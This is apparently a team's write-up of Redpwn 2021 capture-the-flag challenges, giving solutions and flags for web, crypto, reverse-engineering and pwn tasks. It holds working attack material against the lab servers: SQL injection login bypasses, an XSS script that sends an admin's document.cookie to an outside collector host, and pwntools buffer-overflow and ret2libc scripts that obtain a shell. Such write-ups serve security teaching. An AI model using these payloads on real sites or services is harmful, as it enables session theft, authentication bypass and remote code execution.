# Redpwn 2021 - DeepWater
## misc/sanity-check
>
> 240 solves / 1 point
>
> I get to write the sanity check challenge! Alright!
>
> flag{1_l0v3_54n17y_ch3ck_ch4ll5}
## misc/discord
> BrownieInMotion
> 165 solves / 1 point
>
> Join the discord! I hear #rules is an incredibly engaging read.
> Discord flag:
> flag{chall3n63_au7h0r5h1p_1nfl4710n}
## web/inspect-me
> NotDeGhost
> 171 solves / 116 points
>
> See if you can find the flag in the source code!
>
> inspect-me.mc.ax
```
<h2>important updates!</h2>
<li>We are working hard to always keep our site as up-to-date and modern as possible!</li>
<li>TODO: remove flag from HTML comment</li>
<!-- flag{inspect_me_like_123} -->
<hr>
```
## misc/compliant-lattice-feline
> KyleForkBomb
> 141 solves / 120 points
>
> get a flag!
>
> nc mc.ax 31443
```
kali@kali:~$ nc mc.ax 31443
flag{n3tc4t_1s_a_pip3_t0_the_w0rld}
```
## crypto/scissor
> BrownieInMotion
> 71 solves / 142 points
>
> I was given this string and told something about scissors.
>
> egddagzp_ftue_rxms_iuft_rxms_radymf
```
import random
key = random.randint(0, 25)
alphabet = 'abcdefghijklmnopqrstuvwxyz'
shifted = alphabet[key:] + alphabet[:key]
dictionary = dict(zip(alphabet, shifted))
print(''.join([
dictionary[c]
if c in dictionary
else c
for c in input()
]))
```
```
import random
key = random.randint(0, 25)
for key in range(25):
alphabet = 'abcdefghijklmnopqrstuvwxyz'
shifted = alphabet[key:] + alphabet[:key]
dictionary = dict(zip( shifted,alphabet))
print(''.join([ dictionary[c] if c in dictionary else c for c in "egddagzp_ftue_rxms_iuft_rxms_radymf" ]))
```
**flag{surround_this_flag_with_flag_format}**
## web/orm-bad
> ra
> 49 solves / 163 points
>
> I just learned about orms today! They seem kinda difficult to implement though... Guess I'll stick to good old raw sql statements!
>
> orm-bad.mc.ax
>
> Downloads
> app.js
```
const express = require('express');
const sqlite3 = require('sqlite3');
const crypto = require('crypto')
const app = express();
app.use(express.urlencoded({extended: true}));
app.use(express.static('./public'));
app.set('view engine', 'ejs');
const db = new sqlite3.Database(':memory:');
const flag = process.env.FLAG;
// yes i know this is callback hell no im not sure if sqlite3 supports promises
// and yes this is necessary because of a race condition on program start
db.run("CREATE table IF NOT EXISTS users (username text, password text)", () => {
db.all("SELECT * FROM users WHERE username='admin'", (err, rows) => {
if (err) {
throw err;
} else if (rows.length == 0) {
// generate random admin password
crypto.randomBytes(32, (err, buf) => {
// if you managed to make this error you deserve it
if (err) {
throw err;
}
db.all("INSERT INTO users VALUES ('admin', $1)", [buf.toString('hex')]);
console.log("Admin password: " + buf.toString('hex'));
});
}
})
});
app.get('/', (req, res) => {
return res.render("index.ejs", {"alert": req.query.alert});
})
app.post('/flag', (req, res) => {
db.all("SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'", (err, rows) => {
try {
if (rows.length == 0) {
res.redirect("/?alert=" + encodeURIComponent("you are not admin :("));
} else if(rows[0].username === "admin") {
res.redirect("/?alert=" + encodeURIComponent(flag));
} else {
res.redirect("/?alert=" + encodeURIComponent("you are not admin :("));
}
} catch (e) {
res.status(500).end();
}
})
})
app.listen(80, () => console.log('Site listening on port 80'));
```
admin / ' OR 1=1 --
**flag{sqli_overused_again_0b4f6}**
## rev/wstrings
> NotDeGhost
> 23 solves / 229 points
>
> Some strings are wider than normal...
**flag{n0t_al1_str1ngs_ar3_sk1nny}**
## crypto/baby
> EvilMuffinHa
> 16 solves / 272 points
>
> I want to do an RSA!
```
n: 228430203128652625114739053365339856393
e: 65537
c: 126721104148692049427127809839057445790
```
http://factordb.com/index.php?query=228430203128652625114739053365339856393
```
import binascii
p=12546190522253739887
q=18207136478875858439
n= 228430203128652625114739053365339856393
e= 65537
c= 126721104148692049427127809839057445790
assert p*q==n
phi=(p-1)*(q-1)
d=pow(e,-1,phi)
p=pow(c,d,n)
print(binascii.unhexlify(hex(p)[2:]))
```
```
kali@kali:~/Downloads$ python3 rsa.py
b'flag{68ab82df34}'
```
**flag{68ab82df34}**
## web/pastebin-1
> BrownieInMotion
> 9 solves / 347 points
>
> Ah, the classic pastebin.
>
> pastebin-1.mc.ax
>
> Admin bot
>
```
https://aaaaa.free.beeceptor.com
<script>var xhr=new XMLHttpRequest();
xhr.open("GET", "https://aaaaa.free.beeceptor.com?"+document.cookie, true);
xhr.send();
</script>
```
https://pastebin-1.mc.ax/view?id=ekhbosqyrgxpunjl
**GET /?flag=flag{d1dn7_n33d_70_b3_1n_ru57}**
## pwn/beginner-generic-pwn-number-0
> pepsipu
> 5 solves / 415 points
>
> rob keeps making me write beginner pwn! i'll show him...
>
> nc mc.ax 31199
```
00000000004011f6 <main>:
4011f6: f3 0f 1e fa endbr64
4011fa: 55 push rbp
4011fb: 48 89 e5 mov rbp,rsp
4011fe: 48 83 ec 30 sub rsp,0x30
[...]
4012ac: 48 8d 3d 35 0f 00 00 lea rdi,[rip+0xf35] # 4021e8 <_IO_stdin_used+0x1e8>
4012b3: e8 08 fe ff ff call 4010c0 <system@plt>
4012b8: b8 00 00 00 00 mov eax,0x0
4012bd: c9 leave
4012be: c3 ret
4012bf: 90 nop
```
```
from pwn import *
for i in range(56,57):
print(i)
p=process("./beginner-generic-pwn-number-0")
p.sendline(b"a"*i+p64(0x4012ac))
try:
p.interactive()
p.close()
except:
pass
p =connect("mc.ax", 31199)
p.sendline(b"a"*i+p64(0x4012ac))
p.interactive()
```
```
[+] Opening connection to mc.ax on port 31199: Done
[*] Switching to interactive mode
"๐ฑ๐ญ๐ฆ๐ข๐ด๐ฆ ๐ธ๐ณ๐ช๐ต๐ฆ ๐ข ๐ฑ๐ธ๐ฏ ๐ด๐ฐ๐ฎ๐ฆ๐ต๐ช๐ฎ๐ฆ ๐ต๐ฉ๐ช๐ด ๐ธ๐ฆ๐ฆ๐ฌ"
rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
can you write me a heartfelt message to cheer me up? :(
$ ls
flag.txt
run
$ cat flag.txt
flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}
[*] Got EOF while reading in interactive
$
```
**flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}**
## pwn/ret2generic-flag-reader
> pepsipu
> 44 solves / 170 points
>
> i'll ace this board meeting with my new original challenge!
>
> nc mc.ax 31077
```
from pwn import *
elf = ELF("./ret2generic-flag-reader")
print(elf.symbols)
for i in range(40,41):
print(i)
p=process("./ret2generic-flag-reader")
pl=b"a"*i+p64(elf.symbols["super_generic_flag_reading_functi>
p.sendline(pl)
try:
print(p.recv())
p.close()
except:
pass
input()
for i in range(100):
p =connect("mc.ax", 31077)
pl=b"a"*i+p64(elf.symbols["super_generic_flag_reading_functi>
p.sendline(pl)
print(p.recv())
p.close()
input()
```
**flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}**
## pwn/printf-please
> NotDeGhost
> 21 solves / 240 points
>
> Be sure to say please...
>
> nc mc.ax 31569
```
from pwn import *
import time
import binascii
for i in range(70,200):
print("==========="+str(i))
p=connect("mc.ax", 31569)
time.sleep(0.5)
print(p.recv())
p.sendline(b"please %"+str(i).encode()+b"$lx")
ans=p.recv()
print(ans)
try:
print(binascii.unhexlify(ans.decode().split(" ")[1]))
except:
pass
p.close()
input()
```
**flag{pl3as3_pr1ntf_w1th_caut10n_9a3xl}**
## pwn/ret2the-unknown
> pepsipu
> 34 solves / 191 points
>
> hey, my company sponsored map doesn't show any location named "libc"!
>
> nc mc.ax 31568
```
kali@kali:~/Desktop/ret2the-unknown$ strings -tx ./libc-2.28.so | grep /bin/sh
181519 /bin/sh
kali@kali:~/Desktop/ret2the-unknown$ objdump -M intel -d libc-2.28.so | grep execve -B5 | grep rdi -C3 | grep 181519 -C3
c70c9: 00
c70ca: 4c 89 e2 mov rdx,r12
c70cd: 4c 89 ee mov rsi,r13
c70d0: 48 8d 3d 42 a4 0b 00 lea rdi,[rip+0xba442] # 181519 <_libc_intl_domainname@@GLIBC_2.2.5+0x15f>
c70d7: e8 24 f9 ff ff call c6a00 <execve@@GLIBC_2.2.5>
--
c7182: 48 85 c0 test rax,rax
--
e5451: e8 ea 56 00 00 call eab40 <__close@@GLIBC_2.2.5>
e5456: 48 8b 05 53 5a 0d 00 mov rax,QWORD PTR [rip+0xd5a53] # 1baeb0 <__environ@@GLIBC_2.2.5-0x31d0>
e545d: 48 8d 74 24 60 lea rsi,[rsp+0x60]
e5462: 48 8d 3d b0 c0 09 00 lea rdi,[rip+0x9c0b0] # 181519 <_libc_intl_domainname@@GLIBC_2.2.5+0x15f>
e5469: 48 8b 10 mov rdx,QWORD PTR [rax]
e546c: e8 8f 15 fe ff call c6a00 <execve@@GLIBC_2.2.5>
```
```
from pwn import *
import binascii
import time
p = process("./ret2the-unknown",env={"LD_PRELOAD" : "./libc-2.28.so ./ld-2.28.so "})
elf = ELF("./ret2the-unknown")
libc = ELF("./libc-2.28.so")
ld = ELF("./ld-2.28.so")
# Symbols
print(elf.symbols)
# Payload get the leak
pl = b"a"*40
pl += p64(elf.symbols["main"])
# Read prologue
print(p.recv())
# Send the payload
p.sendline(pl)
leak = p.recv().decode().split("there: ")[1].split("\n")[0]
print(leak)
puts = elf.symbols['puts']
puts_rel = libc.symbols['puts']
printf_rel = libc.symbols['printf']
system_rel = libc.symbols['system']
bin_sh_rel = next(libc.search(b'/bin/sh'))
print(hex(system_rel),hex(bin_sh_rel))
base= int("0x"+leak,16) - printf_rel
# Send the payload
pl = b"a"*40
pl += p64(base +0xe5456)
pl += p64(elf.symbols["main"])
#pl += p64(elf.symbols["printf"])
pl += p64(base+bin_sh_rel)
pl += p64(base+bin_sh_rel)
print("===")
p.sendline(pl)
p.interactive()
#print(p.recv())
p=connect("mc.ax", 31568)
# Read prologue
print(p.recv())
time.sleep(1)
# Payload get the leak
pl = b"a"*40
pl += p64(elf.symbols["main"])
# Send the payload
p.sendline(pl)
time.sleep(1)
leak = p.recv().decode().split("there: ")[1].split("\n")[0]
print(leak)
base= int("0x"+leak,16) - printf_rel
# Send the payload
pl = b"a"*40
pl += p64(base +0xe5456)
pl += p64(elf.symbols["main"])
#pl += p64(elf.symbols["printf"])
pl += p64(base+bin_sh_rel)
pl += p64(base+bin_sh_rel)
p.sendline(pl)
p.interactive()
```
**flag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}**
## crypto/yahtzee
> AdnanSlef
> 30 solves / 202 points
>
> Pseudo-random number generators are weak! I use only true RNGs, like rolling a set of dice!
>
> nc mc.ax 31076
```
#!/usr/local/bin/python
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from random import randint
from binascii import hexlify
with open('flag.txt','r') as f:
flag = f.read().strip()
with open('keyfile','rb') as f:
key = f.read()
assert len(key)==32
'''
Pseudorandom number generators are weak!
True randomness comes from phyisical objects, like dice!
'''
class TrueRNG:
@staticmethod
def die():
return randint(1, 6)
@staticmethod
def yahtzee(N):
dice = [TrueRNG.die() for n in range(N)]
return sum(dice)
def __init__(self, num_dice):
self.rolls = num_dice
def next(self):
return TrueRNG.yahtzee(self.rolls)
def encrypt(message, key, true_rng):
nonce = true_rng.next()
cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce))
return cipher.encrypt(message)
'''
Stick the flag in a random quote!
'''
def random_message():
NUM_QUOTES = 25
quote_idx = randint(0,NUM_QUOTES-1)
with open('quotes.txt','r') as f:
for idx, line in enumerate(f):
if idx == quote_idx:
quote = line.strip().split()
break
quote.insert(randint(0, len(quote)), flag)
return ' '.join(quote)
banner = '''
============================================================================
= Welcome to the yahtzee message encryption service. =
= We use top-of-the-line TRUE random number generators... dice in a cup! =
============================================================================
Would you like some samples?
'''
prompt = "Would you like some more samples, or are you ready to 'quit'?\n"
if __name__ == '__main__':
NUM_DICE = 2
true_rng = TrueRNG(NUM_DICE)
inp = input(banner)
while 'quit' not in inp.lower():
message = random_message().encode()
encrypted = encrypt(message, key, true_rng)
print('Ciphertext:', hexlify(encrypted).decode())
inp = input(prompt)
```
> Ciphertext: 5fdfdca195c06d4519def66c2e6f7852bd1dc756789d74116b917852ddb582e09984956cb111ea8250d62861a5a133a42820980bc8eb623e0de1aa48257b29171f0f1d0cb498944f47261052730aeeb09ff40c9a2758d1bfe4c1b2b8d5c8885778b8a322207ec14776650c8f2d
Would you like some more samples, or are you ready to 'quit'?
> Ciphertext: 5fdfdca183c97e510d80be44113469558310dc1363da272d64b0490ec7e192b5c9998722b95eea9e1fc72d63e3a63fa5643dd60bc5f07e2c5dfcf91c39766c471e180d0aa9d19d4d063504427a36cda88ef43b8b6f4fc6ffe3beb584aa9683516fe4aa7b293bd84e7a2c1185230b7e3cb79a3e2614f7
> Would you like some more samples, or are you ready to 'quit'?
> Ciphertext: 5fdfdca191c97f56429af75e1c7b3d49c219c35264da272f25aa5504d6e187b19addda7cfc07fc9702c16166a4a77ef1103cdd5fd3e76f3643ecf90a346038170f031300e7988801093d085c320ff6fdd8fb5497587d80fde4beafa390d7de5642ba955d6775db54257c018b
> Would you like some more samples, or are you ready to 'quit'?
> Ciphertext: 5fdfdca19ec37f56428df15e143427069508d6137acb683e69bb0706dab795f09c8dc82ab01ffe8d40da1e50f7f9248e303cdd0d93f1533762d7ea0625617c4702175e11af94925347221005771bbaf5cca00686275edca5fe8ab2a59285994d78adfa663b75db067d6d0e93230e7f2cf7
> Would you like some more samples, or are you ready to 'quit'?
>
> Ciphertext: 5fdfdca19ec37f564288f2521e20794ebd3e9b027ef1732660ac1412ecafbf8fda939c3eec0ee08b50d62861a5a133a42820980bc8eb623e0de1aa48257b29171f0f1d0cb498944f47261052730aeeb09ff40c9a2758d1bfe4c1b2b8d5c8885778b8a322207ec14776650c8f2d
> Would you like some more samples, or are you ready to 'quit'?
>
> Ciphertext: 5fdfdca19ec37f56428af7551f322a538e1d8f4762c7692925b75441c7a995f08d988b25af17f69850c62e27a2ab24fd6420d01a80f0692a59a8b01b717e29451e060745b3949540043b0b0b3c49fcf0dee71fcf6f75e3f8a19584bf9dc09f166e8bb44d0b28c152673c088f7e
> Would you like some more samples, or are you ready to 'quit'?
>
>
> Ciphertext: 5fdfdca191c97f56429af75e1c7b2f4a830ed40362f1507a34aa7815dba482e39aa28603834df7820282317ebee824be6424d41ecef62c380dfcab0d34333b56084a4c55e7889e4015215f137506b4bcebe801df744fd7a3fe85fba990d6990569bdb7677472dc067b630fd8
> Would you like some more samples, or are you ready to 'quit'?
>
> Ciphertext: 5fdfdca191c97f56429af75e1c7b3d49c219c35264da272f25aa5504d6e187b19addda7cfc07fc9702c16166a4a77ef1103cdd5fd3e76f3643ecf90a346038171d061f02bcc1937e30664e064d1df2f9cdb317a06965ebfffe95a9fb85dc900569bdb7677472dc067b630fd8
> Would you like some more samples, or are you ready to 'quit'?
```
from itertools import cycle
import binascii
import string
def xor(a,b) :
return ''.join(chr(ord(i)^ord(j)) for i,j in zip(a,cycle(b)))
# Reading data
ct=binascii.unhexlify("5fdfdca191c97f56429af75e1c7b2f4a830ed40362f1507a34aa7815dba482e39aa28603834df7820282317ebee824be6424d41ecef62c380dfcab0d34333b56084a4c55e7889e4015215f137506b4bcebe801df744fd7a3fe85fba990d6990569bdb7677472dc067b630fd8")
flag=binascii.unhexlify("5fdfdca191c97f56429af75e1c7b3d49c219c35264da272f25aa5504d6e187b19addda7cfc07fc9702c16166a4a77ef1103cdd5fd3e76f3643ecf90a346038171d061f02bcc1937e30664e064d1df2f9cdb317a06965ebfffe95a9fb85dc900569bdb7677472dc067b630fd8")
# remove the key effect
withoutkey= xor(flag,ct)
wordlen= 8
print("Space Analysis ...")
print("".join([x if x.lower() in string.ascii_lowercase else '.' for x in xor(withoutkey," ")]))
print("=============")
print("Underscore Analysis...")
print("".join([x if x.lower() in string.ascii_lowercase else '.' for x in xor(withoutkey,"}")]))
print("=============")
print("[+] Word length "+str(wordlen)+" ...")
for _word in ["the best time to plant a tree was 20 years ago the second best time is now","flag{0h_W41t_ther3s_nO_3ntr0py}"," flag{0h_w41t_th"," to plant a tree "," the ","er3s_","rebut"," on "," was 20 years ago."]:
print("=============")
word=_word
l= len(word)
L= len(flag)-l
if l>=0:
print(word)
for i in range(L):
dec = xor(withoutkey[i:i+l],word).lower()
print(word,dec)
print("."*i+dec+"."*max(len(flag)-i,0))
raw_input()
print("=============")
# flag{0h_W41t_ther3s_nO_3ntr0py}
```
## crypto/blecc [Unsolved]
> AdnanSlef
> 97 solves / 130 points
>
> Blecc! What are all these numbers? This doesn't look like RSA...
```
p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)
d = ???
Can you help me find `d`?
Decode it as a string and wrap in flag format.
```
## web/secure
> BrownieInMotion
> 444 solves / 105 points
>
> Just learned about encryptionโnow, my website is unhackable!
>
> secure.mc.ax
```
const username = document.createElement('input');
username.setAttribute('name', 'username');
username.setAttribute('value',
btoa(document.querySelector('#username').value)
);
const password = document.createElement('input');
password.setAttribute('name', 'password');
password.setAttribute('value',
btoa(document.querySelector('#password').value)
);
```
```
curl https://secure.mc.ax/login -d "username=admin&password=' or 1=1--'"
Found. Redirecting to /?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D
```
**flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}**
##